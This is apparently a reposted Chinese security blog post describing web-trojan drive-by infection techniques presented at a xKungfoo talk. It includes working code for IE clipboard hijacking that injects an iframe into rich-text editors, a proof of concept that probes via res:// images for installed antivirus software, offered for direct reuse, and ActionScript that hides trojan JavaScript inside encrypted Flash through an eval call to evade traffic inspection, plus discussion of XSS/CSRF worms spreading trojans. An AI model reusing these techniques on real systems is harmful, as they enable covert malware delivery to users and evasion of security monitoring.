今天xKungfoo 最后一天,G在上面做了个挂马产业链的议题。有些挂马猥亵技巧没有说详细,这里公开吧。其实有些没什么,就是技巧,有些人也玩过。
第一个、剪贴板劫持挂马
其实这是针对富文本编辑器的一种隐蔽的攻击方式,当你粘贴某段从别处拷贝来的文字时,就会执行一个iframe标签对象(富文本编辑器的性质),iframe加载网马。简单的demo:
<iframe src=http://www.baidu.com/ height=110 width=110></iframe>
<script>
var iframe = document.getElementsByTagName("iframe")[0];
var rng = document.body.createControlRange();
rng.add(iframe);
rng.execCommand('Copy');
</script>
只在IE6下有效,如何去扩展就看各位了,其实一般这样猥亵的技巧仅供娱乐,真正的运用,我觉得也是不太可能的,除非它变得更加猥亵。
第二个、img远程域检测本地域软件安装情况
网马要检测本地安装什么软件?无非就是那些安全软件,卡巴、小红伞、360、365门神(AD:顺便说下,365不是畅游巡警的山寨- -,和360的定位是不一样的)之类。稳定的demo:
<script>
//Name: img标签远程域检测本地域软件是否存在poc
//Description: IE浏览器都有效
//Author: Knownsec Team
//Date: 2008-11-03
knownImg = {}
knownImg.resList = [ //数组中填写本地软件id值与图片地址值(res协议或file协议)
{id: 'Avira', res: 'res://C://Program%20Files//Avira//AntiVir%20PersonalEdition%20Classic//setup.dll/#2/#132'},
{id: 'baidu', res: 'res://C://Program%20Files//baidu//Baidu%20Hi//BaiduHi.exe/#2/#152'},
{id: 'Super Rabbit', res: 'res://C://Program%20Files//Super%20Rabbit//MagicSet//timedate.exe/#2/BBNO'},
{id: '365Menshen', res: 'res://C://Program%20Files//365Menshen//menshen.exe/#2/#227'},
{id: 'quicktime', res: 'res://c://program%20files//quicktime//quicktimeplayer.exe/#2/#403'}
];
knownImg.ok_resList = new Array(); //确认软件存在时,填入此数组
knownImg.tmp_resList = new Array();
knownImg.checkSoft = function(){ //检测函数
if (document.all){
x = new Array();
for (i = 0; i < knownImg.resList.length; i++){
x[i] = new Image();
x[i].src = "";
knownImg.ok_resList.push(knownImg.resList[i].id); //将resList里的id值依次扔进ok_resList数组中
x[i].onload = function(){
//alert(knownImg.resList[i].id + ': return true');
}
x[i].onerror = function(){
//alert(knownImg.resList[i].id + ': return false');
knownImg.ok_resList.pop(); //软件不存在时,从ok_resList数组弹出对应的id值
}
x[i].src = knownImg.resList[i].res;
}
}
}
knownImg.checkSoft();
alert(knownImg.ok_resList); //弹出
document.write('你的系统中存在以下软件:<br />'+knownImg.ok_resList.join('<br />'));
</script>
IE6/7/8通杀,我写完这个POC没几天就被告之老外早已经给出POC了,上面这些代码是我们自己探讨出来的,当时对res协议还不太懂,还问了一些朋友。现在我们的这个POC扩展性好,很稳定。大家可以改改直接使用。
第三个、利用Flash封装网马
这个更加猥亵,我们使用服务端技术保护网马,保护来保护去,网马的JS代码还是会被抓到,在那些浏览器抓包工具下,网马的JS暴露无遗,原理很简单,网马再怎么通过判断(比如通过Cookie,IP,referer等)来保护自己,为了危害用户,总是要输出JS来给浏览器去执行,那么就会暴露网马JS代码。那就没什么办法保护我们的网马JS代码了?有……
我们使用Flash来封装网马,这样,使用Flash AS的扩展API:ExternalInterface类,这个类是AS与JS直接通信的最好方式,比如如下AS代码:
import flash.external.*;
ExternalInterface.call("eval","alert(document.domain);function ajax(){var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);} catch(e) {}}}return request;}var xhr = ajax();function post_it(){var cmd = 'cmd=hi';xhr.open ('POST', 'create_cmd.php', false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send(cmd);}post_it();");
上面的代码原理是什么呢,ExternalInterface类的call方法可以直接使用Flash容器(这里是HTML页)的JS函数,它有两个参数,第一个是要调用的JS函数名,第二个是被调用的JS函数要执行的参数。我们这里其实是劫持了eval函数,这是JS的内置函数,利用它可以执行任意的JS代码。根据这个原理,我们可以将所有的JS代码封装在Flash文件中。
G使用这个方法成功封装了06014网马,并对我们的Flash压缩加密保护,使用一般的Flash反编译软件是破解不了的,而且在网马的执行过程中,是无法通过浏览器抓包工具抓到网马的JS代码。这就起到了不错的保护作用:)。
第四个、Web2.0蠕虫式挂马
这个要怎么说呢,传统的挂马方式危害很大的有mass sql injection,在短时间内批量注入挂马。我们至今没见到Web2.0蠕虫式的挂马,大家讨论了认为:这是成本问题(但是是不是这样我就不知道了),不是谁都可以轻易写出Web2.0蠕虫。不过大风今天在xKungfoo上说今后会让大家很方便写出XSS蠕虫的,那就是anehta平台 将会提供打包一些蠕虫功能。
Web2.0蠕虫现在有两种表现形式:XSS蠕虫与CSRF蠕虫。在Web2.0蠕虫的传播过程中完全可以挂马。以前放出的一些Web2.0蠕虫都是一个玩笑,没给出危害,但是千万不要认为这永远都是黑客的一个玩笑。我们相信挂马的方式会出现这个的……
恩,这就是今天G的演讲内容的其中一部分。还有一些猥亵的技巧,也许对我们的Webscan全网监控系统都是一个挑战,不过我相信普通挂马者不会使用某些猥亵技巧,那就仅当娱乐吧。
转自:http://hi.baidu.com/ycosxhack/blog/item/c28fed54d7d0a35fd0090636.html